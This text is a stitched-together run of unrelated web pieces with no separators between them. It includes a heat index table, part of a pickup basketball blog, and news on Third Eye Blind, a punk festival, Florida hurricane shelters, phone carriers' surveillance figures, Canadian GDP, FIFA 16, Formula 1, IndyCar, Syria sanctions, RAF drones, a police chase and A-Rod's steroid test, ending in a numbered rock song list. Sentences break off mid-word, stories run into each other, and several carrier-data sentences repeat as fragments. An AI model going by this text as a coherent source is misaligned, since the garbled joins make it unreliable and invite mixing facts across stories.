humidity 80 °F (27 °C) 82 °F (28 °C) 84 °F (29 °C) 86 °F (30 °C) 88 °F (31 °C) 90 °F (32 °C) 92 °F (33 °C) 94 °F (34 °C) 96 °F (36 °C) 98 °F (37 °C) 100 °F (38 °C) 102 °F (39 °C) 104 °F (40 °C) 106 °F (41 °C) 108 °F (42 °C) 110 °F (43 °C) 40% 80 °F (27 °C) 81 °F (27 °C) 83 °F (28 °C) 85 °F (29 °C) 88 °F (31 °C) 91 °F (33 °C) 94 °F (34 °C) 97 °F (36 °C) 101 °F (38 °C) 105 °F (41 °C) 109 °F (43 °C) 114 °F (46 °C) 119 °F (48 °C) 124 °F (51 °C) 130 °F (54 °C) 136 °F (58 °C) 45% 80 °F (27 °C) 82 °F (28 °C) 84 °F (29 °C) 87 °F (31 °C) 89 °F (32 °C) 93 °F (34 °C) 96 °F (36 °C) 100 °F (38 °C) 104 °F (40 °C) 109 °F (43 °C) 114 °F (46 °C) 119 °F (48 °C) 124 °F (51 °C) 130 °F (54 °C) 137 °F (58 °C) 50% 81 °F (27 °C) 83 °F (28 °C) 85 °F (29 °C) 88 °F (31 °C) 91 °F (33 °C) 95 °F (35 °C) 99 °F (37 °C) 103 °F (39 °C) 108 °F (42 °C) 113 °F (45 °C) 118 °F (48 °C) 124 °F (51 °C) 131 °F (55 °C) 137 °F (58 °C) 55% 81 °F (27 °C) 84 °F (29 °C) 86 °F (30 °C) 89 °F (32 °C) 93 °F (34 °C) 97 °F (36 °C) 101 °F (38 °C) 106 °F (41 °C) 112 °F (44 °C) 117 °F (47 °C) 124 °F (51 °C) 130 °F (54 °C) 137 °F (58 °C) 60% 82 °F (28 °C) 84 °F (29 °C) 88 °F (31 °C) 91 °F (33 °C) 95 °F (35 °C) 100 °F (38 °C) 105 °F (41 °C) 110 °F (43 °C) 116 °F (47 °C) 123 °F (51 °C) 129 °F (54 °C) 137 °F (58 °C) 65% 82 °F (28 °C) 85 °F (29 °C) 89 °F (32 °C) 93 °F (34 °C) 98 °F (37 °C) 103 °F (39 °C) 108 °F (42 °C) 114 °F (46 °C) 121 °F (49 °C) 128 °F (53 °C) 136 °F (58 °C) 70% 83 °F (28 °C) 86 °F (30 °C) 90 °F (32 °C) 95 °F (35 °C) 100 °F (38 °C) 105 °F (41 °C) 112 °F (44 °C) 119 °F (48 °C) 126 °F (52 °C) 134 °F (57 °C) 75% 84 °F (29 °C) 88 °F (31 °C) 92 °F (33 °C) 97 °F (36 °C) 103 °F (39 °C) 109 °F (43 °C) 116 °F (47 °C) 124 °F (51 °C) 132 °F (56 °C) 80% 84 °F (29 °C) 89 °F (32 °C) 94 °F (34 °C) 100 °F (38 °C) 106 °F (41 °C) 113 °F (45 °C) 121 °F (49 °C) 129 °F (54 °C) 85% 85 °F (29 °C) 90 °F (32 °C) 96 °F (36 °C) 102 °F (39 °C) 110 °F (43 °C) 117 °F (47 °C) 126 °F (52 °C) 135 °F (57 °C) 90% 86 °F (30 °C) 91 °F (33 °C) 98 °F (37 °C) 105 °F (41 °C) 113 °F (45 °C) 122 °F (50 °C) 131 °F (55 °C) 95% 86 °F (30 °C) 93 °F (34 °C) 100 °F (38 °C) 108 °F (42 °C) 117 °F (47 °C) 127 °F (53 °C) 100% 87 °F (31 °C) 95 °F (35 °C) 103 °F (39 °C) 112 °F (44 °C) 121 °F (49 °C) 132 °F (56 °C)
Key to colors: Caution Extreme caution Danger Extreme danger
For example, if the air temperature is 96 °F (36 °C) and the relative humidity is 65%, the heat index is 121 °F / 49 °C.
Effects of the heat index (shade values) [ |
had next caved and agreed to let the other, usually louder, claim-jumping baller to have the game. Once and a while they’ll shoot for it but usually the squad who is too eager to shoot for it is the one who feels the least confident in their claim of next.
F. Clipboard Diplomacy
When I mentioned the theme of this post in a Facebook pickup basketball group, Roshan and Coleman, ballers at UT Austin’s Gregory gym, told me of the signup sheet system employed at some 24 Hour Fitness centers and church gyms.
Coleman went on to say that only people who are physically present can sign up and that while some of the rules are flexible, the WWJD honor system applies. Roshan added that some 24 Fitness Centers employ a signup sheet as well (though the higher power they’re following is probably a lawyer).
This tactic of sign-in sheets has been touted in the Onion-like news media as the best way to combat on-court conflict related to got-next disputes:
Macrapolis leads the nation in who’s got next killings. And, City Council is pushing for legislation that would require pick-up basketball locations to post sign-in sheets for those seeking to declare next. (Lewham, 2014)
I Got Last [Word]
In a perfect world, all ballers would get equal court time, everyone would get put on a team as soon as they entered the gym, all shots would go in, and nobody would ever lose. But, unless you’re playing in Lake Wobegon, a Noon Game, or in Clipboardville, ecologies of pickup basketball are driven by hierarchies that respond to the zero-sum-game world of make vs. miss, win vs. lose, picked up vs. you suck.
While some feel like finding in-progress pickup basketball games isn’t as easy as it used to be due to waning popularity among millennials (Hulme, 2011), on college campuses it’s still easy to find a game, especially compared to pickup football, lacrosse, baseball, or volleyball. In a recent multi-cited piece for ESPN, Medcalf and O’Neil chronicle the move indoors by the nation’s top young ballers,
There is no single cause. The best players, young and old, want to be inside instead of out; they want organized games to showcase their skills, not pickup games to earn street cred. … But the appeal of an indoor game isn’t just the quest for fame, scholarship or structure. It’s also about safety. It’s easier to control an indoor space than an outdoor one. Buildings have walls and private entrances; you can’t put a metal detector at every park. (Medcalf & O’Neil, 2014)
University recsports complexes have never been fancier, are always part of the campus undergraduate recruiting tour, and may even help improve GPA (Baulkman, 2014). Let’s hope that indoor pickup continues to be popular and the 7000 words on the ins and outs of getting on the court I’ve written are both useful for years to come and spark a renaissance of playground ball.
Before closing I feel the need to state that as knee-jerk / judgmental as ballers can initially be, they are also some of the most accepting people I know. Win four games in a row with a group, fill a role well, or play consistently smart ball and they’ll pick you up next time even if they judged you the first time as a total non-baller. Become actual friends with a group of ballers and they’re likely to pick you up at the expense of their chances for winning. In terms of an analogy, for people who don’t give off the prototypical baller look, pickup culture is like East Coast street culture. When you show up in Boston or NYC and you don’t know anyone it seems like everyone is crusty and judgmental, once they get to know you, you find out that these same people are as warm as any Southerner or Midwesterner.
Hopefully this journey helps in maximizing your chances of playing as soon as possible (imperative #1). How long you stay on the court is a different matter that is both up to you and the subject of next month’s post.
AdvertisementsLast night, the famed and fondly remembered '90s band, Third Eye Blind, pulled off an epic troll at the Republican National Convention. At a charity event for Musicians On Call, "a nonprofit that brings live and recorded music to the bedsides of patients in healthcare facilities," the headlining band refused to play any of their hit songs, and peppered their performance with liberal commentary.
At one point, frontman Stephan Jenkins reportedly told the crowd “Raise your hand if you believe in science.” At the end of their show, the band played the song "Jumper," which they prefaced by talking about the need to bring people like his "cousins, who are gay, into the American fabric.” He continued by saying "to love this song, is to take into your heart the message and to actually, actually have a feeling to arrive and move forward and not live your life in fear and imposing that fear on other people."
Needless to say, the band's Republican fans weren't happy.
@ThirdEyeBlind I have never been more disappointed — Liza White (@LWhiteGRLprob) July 20, 2016The Colorful Festival Flier You’ve Been Wondering About is LEGIT
The internet is a beautiful place full of information…. and lies. Sometimes it’s hard to determine the facts from fiction and when I saw this insane lineup, I had to get to the bottom of it.
October is quite a ways off to be announcing shows, which is a huge reason why people weren’t sure if it was legit or not. Well… that and this lineup is seriously too good to be true. It’s like someone born between 1979-1986 listed their favorite bands… and then added Fishbone and Reel Big Fish. Look at this! Bad Religion, Descendents, Pennywise, 7 Seconds, Anti-Flag, The Vandals, NOFX, Strung Out, Lagwagon, H20, Goldfinger, The Bouncing Souls, Less Than Jake, Reel Big Fish and Fisbbone and in the finer print, killer bands like Adolescents, Agent Orange, Pulley, Manic Hispanic, Sham 69, The Dickies, Swinging’ Utters (why isn’t this band in the pinwheel????), The Briggs, and more!
Now, how do I know this is real? Besides texting as many reliable sources as possible, I hit the internet as well:
So mark your damn calendars and I will see y’all there!!!NBC 6's Jamie Guirola talks to evacuees waiting in a long line to get into the shelter at South Dade Middle School Friday night.
Miami-Dade, Palm Beach, Broward and Monroe Counties advise people in living in evacuation zones to find a safe shelter during a storm or hurricane. For those who can’t access a safe place, the American Red Cross will provide shelters of last resort in Miami-Dade and Broward County. Monroe County shelters will only open in case of storms of category 1 or 2. Keep in mind that not all shelters will be open.
Get informed through the local media and contact your county emergency offices for more information about the shelters that will be opened.
Miami-Dade County: http://www.miamidade.gov/fire/emergency-management.asp
Broward County: http://www.broward.org/Hurricane/Pages/EvacuationShelterInformation.aspx
Monroe County: http://www.monroecountyem.com/Facilities
Palm Beach County: http://discover.pbcgov.org/publicsafety/dem/Pages/default.aspxPirate Fluttershy is commission and not for sale. Commissioned by Thank you very much, I love the project, it is the cutest and most adorable Fluttershy outfit I have ever seen! Not to mention totally sweet eyes and different hairstyle.She was very difficult and I wouldn't expect this in the beginning! I don't think I will decide to make any pony with outfit in the nearest future, I got totally drained out by her dressOverall I am very happy with the results of the plushie which came out just lovely, and quite happy with the outfit because I suck with clothing and working on satin XDbased on adorable comic cover created by I hope you like her!Here is a video to se her in full grace: www.youtube.com/watch?v=VQ88P0… and a video of Fluttershy without outfit (it's unremovable): www.youtube.com/watch?v=F6jxmH… _______________COMMISSIONS ARE OPENPresident Donald Trump at the White House announcing plans to withdraw the US from the landmark Paris climate agreement. Reuters/Kevin Lamarque
President Donald Trump tends to get really excited about a rallying stock market, neglecting that most of the benefits from rising share prices accrue to the richest Americans.
He also loves to take credit for the run-up in equities that, while having preceded him, took on new momentum in 2017. Unfortunately for him, not only do presidents generally have little control over the direction of financial markets, but there is a particular reason not to ascribe the recent record-breaking surge in stock prices to this administration.
My colleague Joe Ciolli has analyzed Trump's stock market claims extensively, finding that "while there have been times this year when the so-called Trump trade— or the promise of business-friendly policies — has undoubtedly been responsible for the gains, there have also been long stretches when other factors were driving returns."
Now a new analysis from the Council on Foreign Relations takes a different approach to dissecting Trump's stock market claims — but comes to a remarkably similar conclusion.
"The S&P 500 index is up 28%," a CFR economist, Benn Steil, and analyst, Benjamin Della Rocca, write in Foreign Affairs. "But is the president right to credit himself? A wider and closer look at the numbers shows he is not."
"With the exceptions of a post-election bump, subsequently reversed, and the recent boost from Republican tax cut legislation, which the president has merely cheerled from the sidelines, the markets have done no more than reward US stocks for riding the coattails of global growth," they argue.
To be clear, US markets have outperformed many of their rich-country peers. The Dow Jones industrial average has jumped 23% this year, while Germany's DAX, for instance, has put in a solid but less impressive 15%. It is overseas growth, however, including in Europe and in China, that has shown surprising strength this year, underpinning equities globally.
But Steil and Della Rocca try to "extract the market's expectations of earnings prospects around the world" to gauge "to what degree the US market actually stands out."
The results suggest the "Trump effect" on stock prices was "precisely nil: the U.S. market under Trump had done no better than its peers abroad."
As the chart below shows, investors were just as keen to buy Canadian, European, and Japanese stocks, "even though the policy agendas under which those companies operate are very different from those in the United States."When it comes to modern law enforcement surveillance, no one watches the wiretappers.
The vast majority of law enforcement's demands that phone carriers and Internet services hand over users' private data don't require a warrant, and occur with little or no accountability. It's not just that we don't know how much surveillance takes place. To paraphrase Donald Rumsfeld, we don't even know what we don't know about how much the government knows about us.
But we're finally starting to learn more. On Monday, Congressman Ed Markey released a collection of letters he received from major phone carriers in response to a query he sent them earlier this year, demanding that they reveal how often they give users' data to the government and under what circumstances. The responses were patchy, evasive, and in many places leave out key information. But I've assembled a few bullet points from them that capture the massive surveillance affecting phone users.
Sprint received 500,000 subpoenas for its data from law enforcement in the last year. That doesn't include court orders for wiretaps and location data, which Sprint didn't track annually but which added up to 325,982 requests in the last five years. The company also says it doesn't have the resources to track how many of those requests it responded to or rejected. The company has 221 employees dedicated to processing and responding to government requests for its data.
received 500,000 subpoenas for its data from law enforcement in the last year. That doesn't include court orders for wiretaps and location data, which Sprint didn't track annually but which added up to 325,982 requests in the last five years. The company also says it doesn't have the resources to track how many of those requests it responded to or rejected. The company has 221 employees dedicated to processing and responding to government requests for its data. Verizon received 260,000 requests for its users data in 2011, including wiretaps, calling records, text message information, and location information, but doesn't add how many were fulfilled.
received 260,000 requests for its users data in 2011, including wiretaps, calling records, text message information, and location information, but doesn't add how many were fulfilled. AT&T received 131,400 subpoenas in criminal cases for its information in 2011, as well as 49,700 warrants or orders that it hand over data. It rejected 965 of them. The company says it employees more than 100 staffers full-time to respond to law enforcement demands.
received 131,400 subpoenas in criminal cases for its information in 2011, as well as 49,700 warrants or orders that it hand over data. It rejected 965 of them. The company says it employees more than 100 staffers full-time to respond to law enforcement demands. T-Mobile told Congressman Markey it "does not disclose" the number of law enforcement requests it receives or complies with.
told Congressman Markey it "does not disclose" the number of law enforcement requests it receives or complies with. MetroPCS says it received fewer than 12,000 requests a month on average for the last six years.
says it received fewer than 12,000 requests a month on average for the last six years. Cricket received 42,000 requests last year, and U.S. Cellular received 19,734 requests in 2011.
received 42,000 requests last year, and received 19,734 requests in 2011. The New York Times counts a total of 1.3 million requests for users' information in the last year based on Markey's data.
The number of data requests seems to be growing quickly across the board. The major carriers who measured the growth in requests over time agreed that law enforcement demands have risen 12-16% year-over-year.
Markey's request for this information followed a groundbreaking report by the American Civil Liberties Union based on Freedom of Information Act requests to police departments around the country for evidence of their policies on data requests to phone carriers. The results showed a disturbing rise in the use of phones as a central tool for law enforcement, including tracking location and even using "tower dumps"--collections of all the stored information collected from all users of a cell phone tower--without a warrant.
It's important to remember that the information revealed Monday includes "tower dumps," too, says Chris Calebrese, an attorney with the ACLU. "Just the sheer volume of orders is amazing, but a significant chunk are dumps from entire cell towers," he says. "That means tons of people’s information is being grabbed with a single one of these orders."
The numbers also bring home the fact that the official wiretap report released earlier this month is now all but useless. That report showed a 14% drop in wiretaps. But with less than 3,000 of those real-time communication requests reported, they represent less than a third of a percent of actual surveillance requests.
Markey's surveillance report puts in perspective the privacy issues for Internet services compared with phone companies. Google, which releases a bi-annual report on law enforcement requests, received only 12,271 requests for its information in 2011, compared with the hundreds of thousands received by phone companies.
The ACLU's Calabrese says Markey's data points to the need for both more transparency and laws to better regulate on companies hand over users' data. He points to the GPS Act making its way through Congress, which would require a warrant to track a user's location with a cell phone. "It’s amazing that Congress has never regulated what standard law enforcement should use before tracking someone’s location. The appropriate standard is a probable cause search warrant," he says. " Clearly the cell phone has become the central tool for law enforcement investigations, even as the laws governing what information about them can access accessed and with what standard have become entirely out of date."
The full responses to Markey's letter are posted here.OTTAWA - The Canadian economy unexpectedly shrank in August, reinforcing forecasts from the Bank of Canada about slowing growth and damping down market expectations of a possible third rate hike this year.
August gross domestic product edged down by 0.1 per cent from July, the first month-on-month decline since October 2016, in part due to maintenance shutdowns in the chemical and extractive industries, Statistics Canada (StatsCan) said on Tuesday.
Analysts in a Reuters poll had predicted a 0.1 per cent increase in GDP after the economy stalled in July.
“The run of amazing Canadian economic data is officially over, with growth coming back to reality in hurry,” Douglas Porter, chief economist at BMO Financial, wrote in a note to clients.
Another economist, however, says Canadians shouldn’t worry about the latest numbers.
“With much of the Q3 weakness seemingly down to temporary factors, and growth still tracking above potential, there is no reason for Canadians to worry,” wrote Brian DePratto, senior economist with TD Economics, in a note to clients. “Indeed, although there remain some wildcards, such as the impact of a strike in the auto sector, it is likely that output will come back to life in coming months.”
Producer price data were also weaker than expected and the Canadian dollar quickly dropped to $1.2914 to the U.S. dollar, or 77.44 U.S. cents, from $1.2849, or 77.83 U.S. cents before the release.
The Bank of Canada raised rates in July and September but held steady last week and lowered its estimate for third-quarter annualized growth to 1.8 per cent to 2.0 per cent.
Governor Stephen Poloz said more hikes would be required over time while noting the central bank would be cautious as it considered its next move, relying heavily on economic data. The bank's next rate announcement is in December.
"The moderation of growth and still mild inflation will be welcomed by a Bank of Canada intent on delaying interest rate hikes for as long as possible," said Patric Booth of National Bank
The manufacturing sector slipped by 1.0 per cent, pulled down by a 7.3-per -cent slump in chemical manufacturing - the largest monthly drop in 20 years - caused by plant shutdowns and lower demand for export markets.
The mining, quarrying and oil and gas sector edged down 0.8 percent as maintenance-related closures hit conventional oil output in Newfoundland and Labrador.
Nick Exarhos, economist at CIBC Capital Markets, said the StatsCan GDP release "justifies the Bank of Canada's current wait-and-see approach after two quick hikes". CIBC thinks the next move will be early next year.
-- With files from BNN13 women's national team players have been removed from FIFA 16 after the National Collegiate Athletic Association (NCAA) informed EA that the athletes would be risking their eligibility for college selection if they remained in the game.
In a blog post informing players of the roster change, EA took a firm stance against the NCAA, with the publisher stating outright that it does not agree with its position.
"All rights were secured following standard protocol with national governing bodies and federations, and none of these NCAA student-athletes or potential student athletes were to be individually compensated by EA Sports for their inclusion in the game," said the publisher.
"We believe this decision denies these 13 athletes the opportunity to represent their countries in the game, but we have removed them from FIFA 16 to ensure there is no risk to their eligibility."
This isn't the first time EA and the NCAA have locked horns, with the pair having battled it out in court a number of times in recent years following disputes over player likenesses and contract breaches.Formula 1's owners Liberty Media are interested in bringing a Grand Prix to Vietnam. According to The Sun, Liberty recently flew to Vietnam to explore the possibility of hosting a race in Ho Chi Minh City. Earlier this year, former F1 supremo Bernie Ecclestone revealed he rejected plans to add a Vietnamese Grand Prix to the calendar.
However, Liberty Media sees a real opportunity for Vietnam and consider a race there an alternative to Malaysia, which will drop off the F1 schedule at the end of the season. Negotiations are still in the infant stages, but F1 sponsor Heineken believes that a race is Vietnam is entirely possible.
"That is very simple - it is again in Asia: Vietnam," said Senior Global Brand Director, Gianluca Di Tondo said when asked where he would like to see F1 next. "We are very present in Vietnam through a local partner and they were our guests in Monza and they were over the moon. So why not have a race in Ho Chi Minh City?"
Ecclestone was fully against the idea: "It hasn't got any racing history at all. So I didn't want to put another race in the same sort of area where we already have very good promoters. And I was criticised for putting the races in Baku and in Russia because they hadn't got that much racing history."
Fergal WalshThe Verizon IndyCar Series will replace manufacturer aerokits with a universal kit for 2018, and this is expected to substantially cut downforce and also relocate its source, emphasizing the underbody rather than topside. An IndyCar equipped with the new kit is expected to go on display at Indianapolis Motor Speedway in May before testing begins in summer.
Adams told Motorsport.com that Firestone is going to be relying on simulation data well ahead of time to decide which tires to take to the inaugural test.
“We work closely with IndyCar and when they get us information about what their performance expectations are, we’ll be able to define what our targets are,” she explained.
“We’ll also work with teams once they have some modeling and can inform us of the loads and the speeds they’re getting from their simulations. That will determine our approach to what tires we decide to bring to the test. And obviously any time the new car is on track, we will be there for verification purposes.
“That simulation data is fairly accurate and gets us in the ballpark. Then we take that data and do some virtual tire modeling back in Akron [Firestone’s Ohio base], find a target construction/compound combination and then conduct our experiments virtually, so we can actually decide which are the best candidates to take to the track.”
Firestone is set to continue supplying harder-compound primary tires, along with the red-sidewalled alternate compounds, and is aiming to make them more significantly different from each other.
Said Adams: “There are targets we’ll try and hit. When we design our IndyCar tires, we want the alternates to go off quicker than primaries, and we give our feedback to IndyCar, and get the team’s feedback.
“Personally, as a tire engineer, I would like to see tires be consistent all the time, but that’s not necessarily what’s practical for the series or challenging for the drivers, so we try and work to give them what they’re intending.”
While there are several road courses and ovals where IndyCar can test its 2018 product, Sebring Raceway’s short-track remains the closest real-life simulation of a street course. That, says Adams, throws up a challenge in itself, given the rapidness with which the track’s surface – concrete with asphalt patches – gains grip.
“We’re probably in the same camp as the teams – you’re limited as to what you can learn there,” she admits. “You know, we’d all prefer it if we could test on Belle Isle or Long Beach or St. Pete…
“But Sebring is the closest we’ve got that’s available, so we scan it, and then correlate what we see the track doing to what we think our tires’ properties are going to be. It changes and so it’s very difficult because you need multiple control tires for start of the day, middle of the day and end of the day.”
The initial testing of the 2018 car is expected to be in isolation, however, or with just one current car, which should reduce the rate at which grip increases.Syria is facing stiff sanctions imposed by the Arab League after President Bashar al-Assad refused to allow observers into the country to monitor violence that claimed dozens more lives at the weekend. Arab foreign ministers meeting in Cairo on Sunday agreed a package of measures designed to force Assad to end his security crackdown, free prisoners and launch reforms to find an end to the eight-month uprising.
But there was no sign of any flexibility from a defiant Damascus regime, with opposition sources describing columns of Syrian tanks preparing to advance on Homs, the centre of recent heavy fighting.
The league decision halts transactions with Syria's central bank, freezes Syrian assets in other Arab states and Arab investment in Syria. It also imposes a travel ban on senior Syrian officials. Earlier, Arab finance and economy ministers stressed the need to avoid measures which would harm ordinary citizens. Basic commodities and cash remittances from Syrians working in other countries are to be exempt.
Announcement of the landmark agreement came from Qatar's prime minister, Hamad bin Jassem bin Jabr al Thani, who chaired the Cairo meeting. Bin Jassem said the decision, which is to take immediate effect, was backed by 19 of the league's 22 members.
The Qatari leader had warned earlier that Arab failure to agree could lead to Libyan-style intervention by the west. "All the work that we are doing is to avoid this," he said, adding that if the international community did not see that Arabs were "serious" he could not guarantee that such action could be avoided.
Turkey, which is not a member of the league but is encouraging Arab action, said it would implement the sanctions as well.
Opposition to sanctions seemed likely to weaken their impact. Iraq, Syria's largest Arab trading partner, abstained after making clear that it would not back punitive measures, partly in the light of its own experience under Saddam Hussein.
Lebanon, still dominated politically by its larger eastern neighbour, voted against. Both countries also opposed the league's recent decision to suspend Syria's membership. Still, combined with recent calls for Assad to step down – from immediate neighbours Jordan and Turkey as well as the US and many western countries – the measures are certain to add to the sense of isolation in Damascus.
Economists say the most damaging element is likely to be the freeze on assets in the Gulf.
Western governments are quietly monitoring the movement of capital out of Syria as a way of gauging the resilience of the regime and the big businessmen who are closely linked to it. EU and US sanctions are already in force.
The league said it had postponed a proposed ban on Arab civilian airlines from and to Syria but will impose it at a later date.
In Damascus, the state-run Al-Thawra newspaper slammed the proposed sanctions as "targeting the Syrian people". Pro-Syrian voices on Twitter and other social media sites suggested that only Israel would benefit. Others noted that the league action against Syria was more severe than against Egypt when it broke Arab consensus and signed a peace treaty with Israel in 1979.
The latest diplomatic moves had no discernible effect on the situation on the ground. By late afternoon the Syrian Revolution General Commission was reporting 28 dead, including 15 in Homs and six in the Damascus area. The Local Coordination Committees gave a figure of 26 deaths. Opposition sources reported 27 dead on Saturday while the government reported the burial of 22 armed forces personnel, including six pilots who were ambushed near Homs.
Sana, the Syrian state news agency, reported on the funerals on Sunday of nine members of the security forces who were killed by "armed terrorist groups."
In another move that will likely deepen Assad's sense of isolation, the governments of Qatar and Bahrain both advised their nationals to leave Syria. The UAE issued a similar call last week.This article is over 2 years old
Ministry of Defence confirms British involvement in US-led airstrike that killed at least 62 Syrian government troops
RAF Reaper drones used in airstrike that killed Syrian troops, MoD says
RAF Reaper drones were involved in the weekend airstrike that killed at least 62 Syrian government troops and threatened the fragile truce in the country, the Ministry of Defence has said.
An unspecified number of weapons were fired from the drones capable of firing 500lb laser guided bombs and Hellfire missiles, it added.
The British military said it was cooperating fully with an investigation by the US-led coalition into the incident, which led to dozens of soldiers being killed and injured, according to Syrian government reports.
Australian, Danish and US air forces were also involved in the raid.
An MoD spokesman said: “We can confirm that the UK participated in the recent coalition airstrike in Syria, south of Deir ez-Zour on Saturday, and we are fully cooperating with the coalition investigation.
“The UK would not intentionally target Syrian military units. It would not be appropriate to comment further at this stage.”
The incident is likely to be the most serious mistake by UK air forces since the House of Commons sanctioned the extension of attacks from Iraq to Syria last December.
Until the end of August the Reaper drones had flown 547 sorties in Syria, releasing weapons in 29 of these, including 45 Hellfire missiles. The raids are supposed to be confined to attacks on Islamic State (Isis) fighters.
The raid prompted a furious response from Russia and Syria, and led to allegations that the airstrikes on the Syrian soldiers could not have been mistaken.
Syria’s president, Bashar al-Assad, described the attack as “flagrant aggression”.
Facebook Twitter Pinterest Russia’s UN ambassador, Vitaly Churkin, said the bombing did not look like an honest mistake. Photograph: AL Jones/Pacific/Barcroft Images
The Russians called an emergency meeting of the UN security council to discuss the incident, a move describe by the US ambassador to the UN, Samantha Power, as a stunt.
Russia’s UN ambassador, Vitaly Churkin, said: “It is highly suspicious that the US chose to conduct this particular airstrike at this time,” adding that it did not look like an honest mistake.
The US military has not confirmed the strikes against the Syrian troops but has suggested it was carrying out a raid against Isis fighters in eastern Syria.
US-led airstrikes against Islamic State in Syria and Iraq – interactive Read more
Syria’s weeklong ceasefire, brokered by the US and Russia, was in any case in growing doubt amid claims of repeated violations by both sides and the UN’s failure to deliver aid to eastern Aleppo.
The Australian prime minister, Malcolm Turnbull, confirmed that his country’s aircraft had been involved, but pulled out when Russian officials advised the targets may have been Syrian military personnel.
“We regret the loss of life and injury to any Syrian personnel affected,” Turnbull told reporters in New York, where he will attend the annual United Nations genera assembly.
He said Australia’s rules of engagement were to target Isis, but that the environment in Syria was very complex.
“You’ll find over the next little while no doubt arguments or issues about why there wasn’t more coordination or who was meant to be advising who,” he said.
Turnbull said it remains to be seen whether the incident would jeopardise the Syrian ceasefire.
The location of the strike was in an area the coalition has struck in the past, US Centcom officials said. Coalition members in the air operations centre had earlier informed Russian counterparts of the upcoming strike.
“It is not uncommon for the coalition air operations centre to confer with Russian officials as a professional courtesy and to deconflict coalition and Russian aircraft, although such contact is not required by the current US-Russia memorandum of understanding on safety of flight,” officials said in a statement.
“Syria is a complex situation with various military forces and militias in close proximity, but coalition forces would not intentionally strike a known Syrian military unit,” the officials said. “The coalition will review this strike and the circumstances surrounding it to see if any lessons can be learned.”Thursday, March 12th, 2015
FRESNO COUNTY, Calif. (KFSN) -- A man who police say should have never been on the streets has died after slamming a stolen car into a tree during a high speed chase. The crash happened Wednesday night in a residential neighborhood in Kerman, on Stanislaus near Merlot. The driver, 25-year-old Felix Gutierrez died. His passenger had minor injuries. Police say they found a loaded handgun in the floorboard of the Acura Integra.
A block away from Kerman police headquarters Wednesday night, an officer ran the license plates on a speeding car that turned up stolen out of Mendota. Police Chief Joe Blohm says before the officer even turned his lights on to initiate a traffic stop, the driver of the car took off.
Chief Joe Blohm said, "We're estimating he was going 60 to 65 miles an hour. We had just entered the residential area primarily when the crash had happened."
Officers say the suspect, Felix Gutierrez, ran several stop signs and at least one red light. Investigators say the pursuit was just two minutes from start to finish. The chief says the officer was following their pursuit policy and had his lights and sirens on, while updating dispatchers of his speed and he also called for backup and air support, but by the time additional officers arrived, the car had already uprooted a tree.
Gutierrez has a long criminal past and is known to police as a car thief. Officers say he is also a gang member. He had a passenger from Kerman who suffered minor injuries in the crash. Officers say when the car hit the tree, it caused it to spin and plummet through a fence, landing partially in a backyard.
The crash investigation has been turned over the California Highway Patrol. Officers will be documenting everything from tire marks to the speeds of the suspect at the time of the collision.
Officers say the car was stolen Tuesday out of Mendota. Investigators will also be looking into whether the suspect was under the influence of drugs or alcohol at the time of the crash.
nullBut in 2004, the 104 positive tests from a year earlier were seized by federal authorities in conjunction with their investigation into the Bay Area Laboratory Co-operative, the California company known as Balco that has long been accused of supplying performance enhancers to Bonds, the career home run leader.
The two people who confirmed Rodriguez’s result spoke on the condition of anonymity because they did not want to jeopardize their access to sensitive material.
Bonds is to go on trial March 2 on charges that he committed perjury when he told a federal grand jury in 2003 that he had never knowingly used performance-enhancing drugs.
Clemens is being investigated by a federal grand jury, which is hearing evidence about whether he committed perjury when he told Congress last year that he never used steroids or human growth hormone.
Now Rodriguez has been added to the mix, although because the test took place before baseball imposed any penalties, he is not in danger of a suspension. Nor is he ensnared in any legal proceedings. Nevertheless, the positive test could affect his status in the game and could create a major distraction for him and his teammates with spring training set to begin this week.
At 33, Rodriguez has hit 553 career home runs and is on a course to eventually break Bonds’s career mark of 762. Rodriguez was viewed as the sport’s antidote to Bonds, who is widely suspected of taking performance-enhancing drugs.
But now many fans may be tempted to argue that there is little difference between Bonds and Rodriguez and Mark McGwire, who was baseball’s single-season home run king a decade ago but whose image suffered greatly when, at a 2005 Congressional hearing, he refused to answer questions about steroid use.
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Rodriguez has long denied any use of performance-enhancing substances. Still, the disclosure that he tested positive in 2003 did not come as a shock to people in baseball. Fairly or unfairly, his name has been linked more than once to possible drug use, if for no other reason than his tremendous home run numbers.
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Last year, the former slugger José Canseco produced his second book on steroid use in baseball, “Vindicated,” in which he asserted that Rodriguez, in the late 1990s, expressed interest in steroids and that Canseco then introduced him to a trainer who was familiar with performance-enhancing drugs. Canseco said that the trainer later told him that Rodriguez had “signed on,” implying that Rodriguez had begun using performance enhancers.
Rodriguez denied Canseco’s assertions. In a December 2007 interview on CBS ’s “60 Minutes,” Rodriguez made similar denials in response to pointed questioning by Katie Couric.
“For the record, have you ever used steroids, human growth hormone or any other performance-enhancing substance?” Couric asked.
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“No,” he said. Rodriguez told Couric he never felt tempted to use the substances. “I’ve never felt overmatched on the baseball field,” he said. “And I felt that if I did my work as I’ve done since I was, you know, a rookie back in Seattle, I didn’t have a problem competing at any level.”
SI.com said that Rodriguez had tested positive for the anabolic steroid Primobolan, whose chemical name is methenolone. That is the substance that prosecutors in the Bonds case say was present in tests that they contend Balco privately conducted for Bonds in 2000 and 2001. Whether those tests will be admitted as evidence in the Bonds trial is unclear.
It was Bonds, more than anyone, who prompted the 2004 raid by federal agents that eventually led to the seizure of Bonds’s result, and Rodriguez’s.
The United States Attorney’s Office in the Northern District of California was seeking to verify whether Bonds and the nine other baseball players who had testified before the Balco grand jury in San Francisco in 200 |
Want is You
222. Nine Inch Nails - Dead Souls
223. Primitive Radio Gods - Standing Outside a Broken Phone Booth With Money in My Hand
224. Lenny Kravitz - Fly Away
225. The Smashing Pumpkins - Drown
226. The Offspring - Why Don't You Get a Job
227. Cowboy Junkies - Sweet Jane
228. Green Day - J.A.R.
229. Material Issue - Valerie Loves Me
230. Soundgarden - Outshined
231. Radiohead - Fake Plastic Trees
232. Nirvana - The Man Who Sold the World
233. Lit - Miserable
234. The Crystal Method - Busy Child
235. The Smashing Pumpkins - Ava Adore
236. Primus - Jerry Was a Race Car Driver
237. Red Hot Chili Peppers - Otherside
238. Silverchair - Tomorrow
239. Prodigy - Breathe
240. Stone Temple Pilots - Creep
241. Moby - Porcelain
242. Soul Asylum - Black Gold
243. Pearl Jam - Animal
244. blink-182 - M&M's
245. Tori Amos - Cornflake Girl
246. Powerman 5000 - When Worlds Collide
247. The Mighty Mighty Bosstones - The Impression That I Get
248. Alice in Chains - I Stay Away
249. Live - Selling the Drama
250. Nine Inch Nails - Sin
251. Hole - Doll Parts
252. Pennywise - Victim of Reality
253. Bush - Little Things
